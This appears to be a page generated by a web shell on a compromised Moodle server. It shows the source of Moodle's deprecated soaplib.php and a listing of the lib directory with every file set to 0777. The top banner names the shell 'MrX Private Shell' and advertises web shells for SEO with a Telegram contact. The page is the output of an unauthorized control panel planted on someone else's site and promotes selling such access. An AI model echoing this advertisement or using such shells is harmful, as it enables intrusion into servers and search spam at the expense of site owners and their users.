__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
<?php
// This file is part of Moodle - http://moodle.org/
//
// Moodle is free software: you can redistribute it and/or modify
// it under the terms of the GNU General Public License as published by
// the Free Software Foundation, either version 3 of the License, or
// (at your option) any later version.
//
// Moodle is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
//
// You should have received a copy of the GNU General Public License
// along with Moodle. If not, see <http://www.gnu.org/licenses/>.
/**
* Web services wrapper library script.
*
* @package core
* @subpackage lib
* @author Alex Smith and others members of the Serving Mathematics project
* @license http://www.gnu.org/copyleft/gpl.html GNU GPL v3 or later
* {@link http://maths.york.ac.uk/serving_maths}
* and others
* @deprecated Moodle 4.5
* @todo MDL-82194 Remove this file.
*/
defined('MOODLE_INTERNAL') || die();
debugging(
'The soaplib.php file is deprecated and should not be used any more. ',
DEBUG_DEVELOPER,
);
/**
* Create a new SoapClient object
*
* @param string $wsdl URI of the WSDL file
* @param boolean $trace indicates if the soap messages should be saved (i.e. if
* get_soap_messages is used) and should be used only for debugging
* @return mixed Returns either a SoapClient object or, if the connection failed,
* a SoapFault object.
*/
function soap_connect($wsdl, $trace=false) {
try {
$connection = new SoapClient($wsdl, array('soap_version'=>SOAP_1_1, 'exceptions'=>true, 'trace'=>$trace));
}
catch (SoapFault $f) {
$connection = $f;
}
catch (Exception $e) {
$connection = new SoapFault('client', 'Could not connect to the service');
}
return $connection;
}
/**
* Make a call to a SoapClient
*
* @param SoapClient $connection The SoapClient to call
* @param string $call Operation to be performed by client
* @param array $params Parameters for the call
* @return mixed The return parameters of the operation or a SoapFault
* If the operation returned several parameters then these
* are returned as an object rather than an array
*/
function soap_call($connection, $call, $params) {
try {
$return = $connection->__soapCall($call, $params);
}
catch (SoapFault $f) {
$return = $f;
}
catch (Exception $e) {
$return = new SoapFault('client', 'Could call the method');
}
// return multiple parameters using an object rather than an array
if (is_array($return)) {
$keys = array_keys($return);
$assoc = true;
foreach ($keys as $key) {
if (!is_string($key)) {
$assoc = false;
break;
}
}
if ($assoc)
$return = (object) $return;
}
return $return;
}
function soap_serve($wsdl, $functions) {
// create server object
$s = new SoapServer($wsdl);
// export functions
foreach ($functions as $func)
$s->addFunction($func);
// handle the request
$s->handle();
}
function make_soap_fault($faultcode, $faultstring, $faultactor='', $detail='', $faultname='', $headerfault='') {
return new SoapFault($faultcode, $faultstring, $faultactor, $detail, $faultname, $headerfault);
}
function get_last_soap_messages($connection) {
return array('request'=>$connection->__getLastRequest(), 'response'=>$connection->__getLastResponse());
}
// Fix simple type encoding - work around a bug in early versions of PHP5 < 5.0.3, see http://bugs.php.net/bug.php?id=31832
function soap_encode($value, $name, $type, $namespace, $encode=XSD_STRING) {
$value = new SoapVar($value, $encode, $type, $namespace);
if ('' === $name)
return $value;
return new SoapParam($value, $name);
}
// Fix complex type encoding - work around a bug in early versions of PHP5 < 5.0.3, see http://bugs.php.net/bug.php?id=31832
function soap_encode_object($value, $name, $type, $namespace) {
if (!is_object($value))
return $value;
$value = new SoapVar($value, SOAP_ENC_OBJECT, $type, $namespace);
if ('' === $name)
return $value;
return new SoapParam($value, $name);
}
// Fix array encoding - work around a bug in early versions of PHP5 < 5.0.3, see http://bugs.php.net/bug.php?id=31832
function soap_encode_array($value, $name, $type, $namespace) {
if (!is_array($value))
return $value;
$value = new SoapVar($value, SOAP_ENC_ARRAY, 'ArrayOf' . $type, $namespace);
if ('' === $name)
return $value;
return new SoapParam($value, $name);
}
// In both cases...
function handle_soap_wsdl_request($wsdlfile, $address=false) {
header('Content-type: application/wsdl+xml');
$wsdl = file_get_contents($wsdlfile);
if (false !== $address) {
if (true === $address) {
$address = (($_SERVER['SERVER_PORT'] == 443) ? 'https://' : 'http://') . $_SERVER['SERVER_NAME'] . $_SERVER['SCRIPT_NAME'];
}
$wsdl = str_replace('###SERVER_ADDRESS###', $address, $wsdl);
}
echo $wsdl;
exit;
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| adodb | Folder | 0777 |
|
|
| ajax | Folder | 0777 |
|
|
| amd | Folder | 0777 |
|
|
| antivirus | Folder | 0777 |
|
|
| aws-sdk | Folder | 0777 |
|
|
| behat | Folder | 0777 |
|
|
| bennu | Folder | 0777 |
|
|
| classes | Folder | 0777 |
|
|
| db | Folder | 0777 |
|
|
| ddl | Folder | 0777 |
|
|
| dml | Folder | 0777 |
|
|
| dtl | Folder | 0777 |
|
|
| editor | Folder | 0777 |
|
|
| emoji-data | Folder | 0777 |
|
|
| evalmath | Folder | 0777 |
|
|
| external | Folder | 0777 |
|
|
| filebrowser | Folder | 0777 |
|
|
| filestorage | Folder | 0777 |
|
|
| fonts | Folder | 0777 |
|
|
| form | Folder | 0777 |
|
|
| geopattern-php | Folder | 0777 |
|
|
| giggsey | Folder | 0777 |
|
|
| Folder | 0777 |
|
||
| grade | Folder | 0777 |
|
|
| guzzlehttp | Folder | 0777 |
|
|
| html2text | Folder | 0777 |
|
|
| htmlpurifier | Folder | 0777 |
|
|
| jmespath | Folder | 0777 |
|
|
| jquery | Folder | 0777 |
|
|
| laravel | Folder | 0777 |
|
|
| lti1p3 | Folder | 0777 |
|
|
| ltiprovider | Folder | 0777 |
|
|
| markdown | Folder | 0777 |
|
|
| maxmind | Folder | 0777 |
|
|
| minify | Folder | 0777 |
|
|
| mlbackend | Folder | 0777 |
|
|
| mustache | Folder | 0777 |
|
|
| nikic | Folder | 0777 |
|
|
| openspout | Folder | 0777 |
|
|
| pear | Folder | 0777 |
|
|
| php-css-parser | Folder | 0777 |
|
|
| php-di | Folder | 0777 |
|
|
| php-enum | Folder | 0777 |
|
|
| php-jwt | Folder | 0777 |
|
|
| phpmailer | Folder | 0777 |
|
|
| phpspreadsheet | Folder | 0777 |
|
|
| phpunit | Folder | 0777 |
|
|
| phpxmlrpc | Folder | 0777 |
|
|
| plist | Folder | 0777 |
|
|
| polyfills | Folder | 0777 |
|
|
| portfolio | Folder | 0777 |
|
|
| psr | Folder | 0777 |
|
|
| ralouphie | Folder | 0777 |
|
|
| requirejs | Folder | 0777 |
|
|
| rtlcss | Folder | 0777 |
|
|
| scssphp | Folder | 0777 |
|
|
| simplepie | Folder | 0777 |
|
|
| slim | Folder | 0777 |
|
|
| spatie | Folder | 0777 |
|
|
| symfony | Folder | 0777 |
|
|
| table | Folder | 0777 |
|
|
| tcpdf | Folder | 0777 |
|
|
| templates | Folder | 0777 |
|
|
| testing | Folder | 0777 |
|
|
| tests | Folder | 0777 |
|
|
| userkey | Folder | 0777 |
|
|
| webauthn | Folder | 0777 |
|
|
| xapi | Folder | 0777 |
|
|
| xhprof | Folder | 0777 |
|
|
| xmldb | Folder | 0777 |
|
|
| yui | Folder | 0777 |
|
|
| yuilib | Folder | 0777 |
|
|
| zipstream | Folder | 0777 |
|
|
| UPGRADING.md | File | 26.35 KB | 0777 |
|
| accesslib.php | File | 184.94 KB | 0777 |
|
| adminlib.php | File | 398.39 KB | 0777 |
|
| apis.json | File | 7.09 KB | 0777 |
|
| apis.schema.json | File | 1.06 KB | 0777 |
|
| authlib.php | File | 46.33 KB | 0777 |
|
| badgeslib.php | File | 55.15 KB | 0777 |
|
| blocklib.php | File | 106.57 KB | 0777 |
|
| cacert.pem | File | 239.21 KB | 0777 |
|
| cacert.txt | File | 811 B | 0777 |
|
| clilib.php | File | 9.58 KB | 0777 |
|
| completionlib.php | File | 70.38 KB | 0777 |
|
| componentlib.class.php | File | 29.51 KB | 0777 |
|
| components.json | File | 3.98 KB | 0777 |
|
| conditionlib.php | File | 1.11 KB | 0777 |
|
| configonlylib.php | File | 8.19 KB | 0777 |
|
| cookies.js | File | 2.37 KB | 0777 |
|
| cronlib.php | File | 1.07 KB | 0777 |
|
| csslib.php | File | 6.81 KB | 0777 |
|
| csvlib.class.php | File | 17.72 KB | 0777 |
|
| customcheckslib.php | File | 1.5 KB | 0777 |
|
| datalib.php | File | 85.59 KB | 0777 |
|
| ddllib.php | File | 4.72 KB | 0777 |
|
| default.ttf | File | 502.23 KB | 0777 |
|
| deprecatedlib.php | File | 25.18 KB | 0777 |
|
| dmllib.php | File | 12.47 KB | 0777 |
|
| dtllib.php | File | 2.58 KB | 0777 |
|
| editorlib.php | File | 6.43 KB | 0777 |
|
| emptyfile.php | File | 809 B | 0777 |
|
| enrollib.php | File | 138.47 KB | 0777 |
|
| environmentlib.php | File | 58.32 KB | 0777 |
|
| excellib.class.php | File | 30.24 KB | 0777 |
|
| externallib.php | File | 9.54 KB | 0777 |
|
| filelib.php | File | 204.42 KB | 0777 |
|
| filterlib.php | File | 42.89 KB | 0777 |
|
| flickrclient.php | File | 10.1 KB | 0777 |
|
| flickrlib.php | File | 52.19 KB | 0777 |
|
| formslib.php | File | 151.53 KB | 0777 |
|
| gdlib.php | File | 17.71 KB | 0777 |
|
| googleapi.php | File | 9.48 KB | 0777 |
|
| gradelib.php | File | 62.29 KB | 0777 |
|
| graphlib.php | File | 86.81 KB | 0777 |
|
| grouplib.php | File | 59.67 KB | 0777 |
|
| index.html | File | 1 B | 0777 |
|
| installlib.php | File | 18.79 KB | 0777 |
|
| javascript-static.js | File | 42.38 KB | 0777 |
|
| javascript.php | File | 4.11 KB | 0777 |
|
| jslib.php | File | 4.21 KB | 0777 |
|
| jssourcemap.php | File | 2.51 KB | 0777 |
|
| ldaplib.php | File | 18.19 KB | 0777 |
|
| lexer.php | File | 15.92 KB | 0777 |
|
| licenselib.php | File | 12.42 KB | 0777 |
|
| licenses.json | File | 2.29 KB | 0777 |
|
| listlib.php | File | 29.37 KB | 0777 |
|
| mathslib.php | File | 4.47 KB | 0777 |
|
| messagelib.php | File | 32.76 KB | 0777 |
|
| modinfolib.php | File | 143.39 KB | 0777 |
|
| moodlelib.php | File | 359 KB | 0777 |
|
| myprofilelib.php | File | 18.35 KB | 0777 |
|
| navigationlib.php | File | 264.31 KB | 0777 |
|
| oauthlib.php | File | 24.97 KB | 0777 |
|
| odslib.class.php | File | 57.65 KB | 0777 |
|
| outputactions.php | File | 1.04 KB | 0777 |
|
| outputcomponents.php | File | 1.04 KB | 0777 |
|
| outputfactories.php | File | 1.04 KB | 0777 |
|
| outputfragmentrequirementslib.php | File | 1.04 KB | 0777 |
|
| outputlib.php | File | 11.99 KB | 0777 |
|
| outputrenderers.php | File | 1.04 KB | 0777 |
|
| outputrequirementslib.php | File | 1.04 KB | 0777 |
|
| pagelib.php | File | 91.58 KB | 0777 |
|
| pdflib.php | File | 10.11 KB | 0777 |
|
| phpminimumversionlib.php | File | 3.08 KB | 0777 |
|
| plagiarismlib.php | File | 3.38 KB | 0777 |
|
| plugins.json | File | 15.21 KB | 0777 |
|
| plugins.schema.json | File | 1.28 KB | 0777 |
|
| portfoliolib.php | File | 53.58 KB | 0777 |
|
| questionlib.php | File | 79.14 KB | 0777 |
|
| recaptchalib_v2.php | File | 6.53 KB | 0777 |
|
| requirejs.php | File | 7.4 KB | 0777 |
|
| resourcelib.php | File | 8.89 KB | 0777 |
|
| rsslib.php | File | 17.94 KB | 0777 |
|
| searchlib.php | File | 17.29 KB | 0777 |
|
| sessionlib.php | File | 4.86 KB | 0777 |
|
| setup.php | File | 43.98 KB | 0777 |
|
| setuplib.php | File | 62.59 KB | 0777 |
|
| soaplib.php | File | 5.28 KB | 0777 |
|
| statslib.php | File | 67.81 KB | 0777 |
|
| tablelib.php | File | 1.47 KB | 0777 |
|
| thirdpartylibs.xml | File | 31.13 KB | 0777 |
|
| tokeniserlib.php | File | 16.69 KB | 0777 |
|
| upgrade.txt | File | 180.01 KB | 0777 |
|
| upgradelib.php | File | 107.07 KB | 0777 |
|
| uploadlib.php | File | 1.9 KB | 0777 |
|
| validateurlsyntax.php | File | 23.05 KB | 0777 |
|
| wasmlib.php | File | 4.29 KB | 0777 |
|
| webdavlib.php | File | 69.59 KB | 0777 |
|
| weblib.php | File | 92.3 KB | 0777 |
|
| wiki_to_markdown.php | File | 13.08 KB | 0777 |
|
| wordlist.txt | File | 1.23 KB | 0777 |
|
| xhtml.xsl | File | 223 B | 0777 |
|
| xmlize.php | File | 8.82 KB | 0777 |
|
| xsendfilelib.php | File | 3.02 KB | 0777 |
|